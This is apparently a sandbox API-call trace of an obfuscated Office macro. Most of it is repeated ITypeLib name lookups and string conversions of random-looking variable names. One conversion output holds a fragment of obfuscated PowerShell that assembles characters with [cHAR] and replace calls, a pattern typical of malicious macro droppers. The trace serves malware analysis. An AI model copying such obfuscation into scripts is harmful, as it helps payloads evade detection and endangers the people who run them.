IUnknown:AddRef (This=0x7919520) returned 0xe [0018.556] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wAPIwOIbK", lHashVal=0x1093af, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.556] IUnknown:Release (This=0x7919520) returned 0xd [0018.556] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.556] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wAPIwOIbK", lHashVal=0x1093af, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.556] IUnknown:Release (This=0x7346470) returned 0xb [0018.556] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.556] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wAPIwOIbK", lHashVal=0x1093af, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.556] IUnknown:Release (This=0x7345930) returned 0x7 [0018.556] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.556] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wAPIwOIbK", lHashVal=0x1093af, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.556] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.556] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.556] IUnknown:Release (This=0x7919520) returned 0xd [0018.556] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61014, cbMultiByte=10, lpWideCharStr=0xcae1b4c, cchWideChar=22 | out: lpWideCharStr="bjVHFpptzA") returned 10 [0018.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6102e, cbMultiByte=10, lpWideCharStr=0xcae1f96, cchWideChar=22 | out: lpWideCharStr="mvIwvCoIzj") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61042, cbMultiByte=10, lpWideCharStr=0xcae2140, cchWideChar=22 | out: lpWideCharStr="DQtmTUUzvT") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61056, cbMultiByte=10, lpWideCharStr=0xcae22ea, cchWideChar=22 | out: lpWideCharStr="ufbBFakFda") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6106a, cbMultiByte=10, lpWideCharStr=0xcae2494, cchWideChar=22 | out: lpWideCharStr="nXRisqlGJZ") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6107e, cbMultiByte=10, lpWideCharStr=0xcae263e, cchWideChar=22 | out: lpWideCharStr="uKftJLmiok") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61092, cbMultiByte=10, lpWideCharStr=0xcae27e8, cchWideChar=22 | out: lpWideCharStr="UpwjGHTGsV") returned 10 [0018.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb610a6, cbMultiByte=10, lpWideCharStr=0xcae2992, cchWideChar=22 | out: lpWideCharStr="SjfXsjwOtd") returned 10 [0018.558] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcaf0000 [0018.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jBdQEXP") returned 0x10f9e8 [0018.559] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="jBdQEXP" | out: _Dst="jBdQEXP") returned 0x0 [0018.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="jBdQEXP") returned 8 [0018.559] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.559] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jBdQEXP", lHashVal=0x10f9e8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.559] IUnknown:Release (This=0x7919520) returned 0xd [0018.559] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.559] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jBdQEXP", lHashVal=0x10f9e8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.559] IUnknown:Release (This=0x7346470) returned 0xb [0018.559] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.559] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jBdQEXP", lHashVal=0x10f9e8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.559] IUnknown:Release (This=0x7345930) returned 0x7 [0018.559] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.559] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jBdQEXP", lHashVal=0x10f9e8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.559] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.559] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_jBdQEXP") returned 0x10fd6c [0018.559] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_jBdQEXP" | out: _Dst="_B_var_jBdQEXP") returned 0x0 [0018.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_jBdQEXP") returned 15 [0018.559] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.559] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jBdQEXP", lHashVal=0x10fd6c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.559] IUnknown:Release (This=0x7919520) returned 0xd [0018.559] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.559] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jBdQEXP", lHashVal=0x10fd6c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.559] IUnknown:Release (This=0x7346470) returned 0xb [0018.559] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.559] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jBdQEXP", lHashVal=0x10fd6c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.560] IUnknown:Release (This=0x7345930) returned 0x7 [0018.560] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.560] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jBdQEXP", lHashVal=0x10fd6c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.560] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.560] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.560] IUnknown:Release (This=0x7919520) returned 0xd [0018.560] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb610c4, cbMultiByte=159, lpWideCharStr=0xcaf0e2c, cchWideChar=320 | out: lpWideCharStr="Jzr39zWZdq4I0MczJZkz8c3d[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHARiafjoJ4v39mC") returned 159 [0018.560] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb517f0 [0018.560] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.560] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.560] IUnknown:Release (This=0x7919520) returned 0xd [0018.560] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wEjIfJD") returned 0x106cbd [0018.560] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="wEjIfJD" | out: _Dst="wEjIfJD") returned 0x0 [0018.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="wEjIfJD") returned 8 [0018.560] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.560] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wEjIfJD", lHashVal=0x106cbd, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.560] IUnknown:Release (This=0x7919520) returned 0xd [0018.560] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.560] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wEjIfJD", lHashVal=0x106cbd, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.560] IUnknown:Release (This=0x7346470) returned 0xb [0018.560] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.560] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wEjIfJD", lHashVal=0x106cbd, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.560] IUnknown:Release (This=0x7345930) returned 0x7 [0018.560] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.560] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wEjIfJD", lHashVal=0x106cbd, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.560] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.560] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wEjIfJD") returned 0x107041 [0018.560] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_wEjIfJD" | out: _Dst="_B_var_wEjIfJD") returned 0x0 [0018.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_wEjIfJD") returned 15 [0018.561] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.561] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wEjIfJD", lHashVal=0x107041, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.561] IUnknown:Release (This=0x7919520) returned 0xd [0018.561] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.561] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wEjIfJD", lHashVal=0x107041, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.561] IUnknown:Release (This=0x7346470) returned 0xb [0018.561] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.561] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wEjIfJD", lHashVal=0x107041, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.561] IUnknown:Release (This=0x7345930) returned 0x7 [0018.561] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.561] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wEjIfJD", lHashVal=0x107041, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.561] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.561] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.561] IUnknown:Release (This=0x7919520) returned 0xd [0018.561] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6117c, cbMultiByte=10, lpWideCharStr=0xcaf1c88, cchWideChar=22 | out: lpWideCharStr="YwkzqLsZDd") returned 10 [0018.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61196, cbMultiByte=10, lpWideCharStr=0xcaf20d2, cchWideChar=22 | out: lpWideCharStr="WiUuahSkGl") returned 10 [0018.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb611aa, cbMultiByte=10, lpWideCharStr=0xcaf227c, cchWideChar=22 | out: lpWideCharStr="lLqjhJFmMU") returned 10 [0018.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb611be, cbMultiByte=10, lpWideCharStr=0xcaf2426, cchWideChar=22 | out: lpWideCharStr="OtRDOvwXjB") returned 10 [0018.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb611d2, cbMultiByte=10, lpWideCharStr=0xcaf25d0, cchWideChar=22 | out: lpWideCharStr="IBrMJUhZRE") returned 10 [0018.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb611e6, cbMultiByte=10, lpWideCharStr=0xcaf277a, cchWideChar=22 | out: lpWideCharStr="PYEYDNIBPh") returned 10 [0018.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb611fa, cbMultiByte=10, lpWideCharStr=0xcaf2924, cchWideChar=22 | out: lpWideCharStr="GFNiPcQQff") returned 10 [0018.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6120e, cbMultiByte=10, lpWideCharStr=0xcaf2ace, cchWideChar=22 | out: lpWideCharStr="luEEcjTdaN") returned 10 [0018.562] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb51a40 [0018.562] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb00000 [0018.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NllDopjH") returned 0x10f436 [0018.564] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="NllDopjH" | out: _Dst="NllDopjH") returned 0x0 [0018.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="NllDopjH") returned 9 [0018.564] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.564] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="NllDopjH", lHashVal=0x10f436, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.564] IUnknown:Release (This=0x7919520) returned 0xd [0018.564] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.564] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="NllDopjH", lHashVal=0x10f436, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.564] IUnknown:Release (This=0x7346470) returned 0xb [0018.564] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.564] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="NllDopjH", lHashVal=0x10f436, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.564] IUnknown:Release (This=0x7345930) returned 0x7 [0018.564] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.564] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="NllDopjH", lHashVal=0x10f436, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.564] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.564] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_NllDopjH") returned 0x10cbbf [0018.564] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_NllDopjH" | out: _Dst="_B_var_NllDopjH") returned 0x0 [0018.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_NllDopjH") returned 16 [0018.564] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.564] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_NllDopjH", lHashVal=0x10cbbf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.564] IUnknown:Release (This=0x7919520) returned 0xd [0018.564] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.564] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_NllDopjH", lHashVal=0x10cbbf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.564] IUnknown:Release (This=0x7346470) returned 0xb [0018.564] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.564] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_NllDopjH", lHashVal=0x10cbbf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.564] IUnknown:Release (This=0x7345930) returned 0x7 [0018.564] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.564] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_NllDopjH", lHashVal=0x10cbbf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.564] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.564] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.564] IUnknown:Release (This=0x7919520) returned 0xd [0018.564] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6122c, cbMultiByte=10, lpWideCharStr=0xcb00f7c, cchWideChar=22 | out: lpWideCharStr="jOqVYjzhst") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61246, cbMultiByte=10, lpWideCharStr=0xcb013c6, cchWideChar=22 | out: lpWideCharStr="nBRtFwZlYl") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6125a, cbMultiByte=10, lpWideCharStr=0xcb01570, cchWideChar=22 | out: lpWideCharStr="WfNoHLfIAd") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6126e, cbMultiByte=10, lpWideCharStr=0xcb0171a, cchWideChar=22 | out: lpWideCharStr="MYoKBGzcHW") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61282, cbMultiByte=10, lpWideCharStr=0xcb018c4, cchWideChar=22 | out: lpWideCharStr="HlOzhQSmSu") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61296, cbMultiByte=10, lpWideCharStr=0xcb01a6e, cchWideChar=22 | out: lpWideCharStr="HNpIHDBBON") returned 10 [0018.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb612aa, cbMultiByte=10, lpWideCharStr=0xcb01c18, cchWideChar=22 | out: lpWideCharStr="ErhOjPMGrw") returned 10 [0018.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb612be, cbMultiByte=10, lpWideCharStr=0xcb01dc2, cchWideChar=22 | out: lpWideCharStr="zwiBikQOGq") returned 10 [0018.566] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pFNXITiYF") returned 0x10ab82 [0018.566] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="pFNXITiYF" | out: _Dst="pFNXITiYF") returned 0x0 [0018.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="pFNXITiYF") returned 10 [0018.566] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.566] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="pFNXITiYF", lHashVal=0x10ab82, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.566] IUnknown:Release (This=0x7919520) returned 0xd [0018.566] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.566] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="pFNXITiYF", lHashVal=0x10ab82, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.566] IUnknown:Release (This=0x7346470) returned 0xb [0018.566] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.566] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="pFNXITiYF", lHashVal=0x10ab82, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.566] IUnknown:Release (This=0x7345930) returned 0x7 [0018.566] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.566] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="pFNXITiYF", lHashVal=0x10ab82, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.566] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.566] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.566] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_pFNXITiYF") returned 0x10a546 [0018.566] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_pFNXITiYF" | out: _Dst="_B_var_pFNXITiYF") returned 0x0 [0018.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_pFNXITiYF") returned 17 [0018.566] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.566] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_pFNXITiYF", lHashVal=0x10a546, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.566] IUnknown:Release (This=0x7919520) returned 0xd [0018.566] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.566] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_pFNXITiYF", lHashVal=0x10a546, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.566] IUnknown:Release (This=0x7346470) returned 0xb [0018.567] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.567] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_pFNXITiYF", lHashVal=0x10a546, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.567] IUnknown:Release (This=0x7345930) returned 0x7 [0018.567] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.567] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_pFNXITiYF", lHashVal=0x10a546, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.567] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.567] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.567] IUnknown:Release (This=0x7919520) returned 0xd [0018.567] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.567] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb10000 [0018.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb612dc, cbMultiByte=10, lpWideCharStr=0xcb1025c, cchWideChar=22 | out: lpWideCharStr="cwFQqWrHkn") returned 10 [0018.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb612f6, cbMultiByte=10, lpWideCharStr=0xcb106a6, cchWideChar=22 | out: lpWideCharStr="MdPhSmdXja") returned 10 [0018.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6130a, cbMultiByte=10, lpWideCharStr=0xcb10850, cchWideChar=22 | out: lpWideCharStr="zqMbwCJLBP") returned 10 [0018.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6131e, cbMultiByte=10, lpWideCharStr=0xcb109fa, cchWideChar=22 | out: lpWideCharStr="ZwwSiQolqo") returned 10 [0018.568] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb51c90 [0018.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61332, cbMultiByte=10, lpWideCharStr=0xcb10ba4, cchWideChar=22 | out: lpWideCharStr="buHkulOaRz") returned 10 [0018.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61346, cbMultiByte=10, lpWideCharStr=0xcb10d4e, cchWideChar=22 | out: lpWideCharStr="tkQztmmiRo") returned 10 [0018.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6135a, cbMultiByte=10, lpWideCharStr=0xcb10ef8, cchWideChar=22 | out: lpWideCharStr="MfFUNNhwwC") returned 10 [0018.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6136e, cbMultiByte=10, lpWideCharStr=0xcb110a2, cchWideChar=22 | out: lpWideCharStr="wrjvzFjbjM") returned 10 [0018.569] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HjGKVii") returned 0x109c25 [0018.570] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="HjGKVii" | out: _Dst="HjGKVii") returned 0x0 [0018.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="HjGKVii") returned 8 [0018.570] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.570] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="HjGKVii", lHashVal=0x109c25, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.570] IUnknown:Release (This=0x7919520) returned 0xd [0018.570] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.570] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="HjGKVii", lHashVal=0x109c25, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.570] IUnknown:Release (This=0x7346470) returned 0xb [0018.570] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.570] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="HjGKVii", lHashVal=0x109c25, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.570] IUnknown:Release (This=0x7345930) returned 0x7 [0018.570] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.570] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="HjGKVii", lHashVal=0x109c25, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.570] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.570] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.570] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_HjGKVii") returned 